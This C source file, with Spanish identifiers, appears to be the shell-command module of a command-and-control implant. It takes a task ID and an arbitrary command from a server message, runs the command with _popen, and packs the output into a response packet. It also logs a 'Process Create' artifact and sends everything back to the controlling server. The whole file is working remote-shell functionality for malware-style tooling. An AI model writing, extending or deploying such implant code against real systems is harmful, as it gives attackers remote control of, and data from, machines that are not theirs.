#include "consola.h"

BOOL ejecutarConsola(PAnalizador argumentos) {

	SIZE_T tamanoUuid = 36;
	PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
	UINT32 nbArg = getInt32(argumentos);
	SIZE_T tamano = 0;
	PCHAR comando = getString(argumentos, &tamano);

	comando = (PCHAR)LocalReAlloc(comando, tamano + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);

	FILE* fp;
	CHAR ruta[1035];

	PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
	addString(respuestaTarea, tareaUuid, FALSE);

	//paquete temporal para la salida
	PPaquete salida = nuevoPaquete(0, FALSE);

	fp = _popen(comando, "rb");
	if (!fp) {
		_err("[Consola] Error ejecutando el comando");
		return FALSE;
	}

	while (fgets(ruta, sizeof(ruta), fp) != NULL) {
		addString(salida, ruta, FALSE);
	}

	// Add output to response
	addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
	
	// Add Process Create artifact using the helper function
	addArtifact(respuestaTarea, "Process Create", comando);

	_pclose(fp);
	Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea);

	liberarPaquete(salida);
    liberarPaquete(respuestaTarea);
    if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);

	return TRUE;
}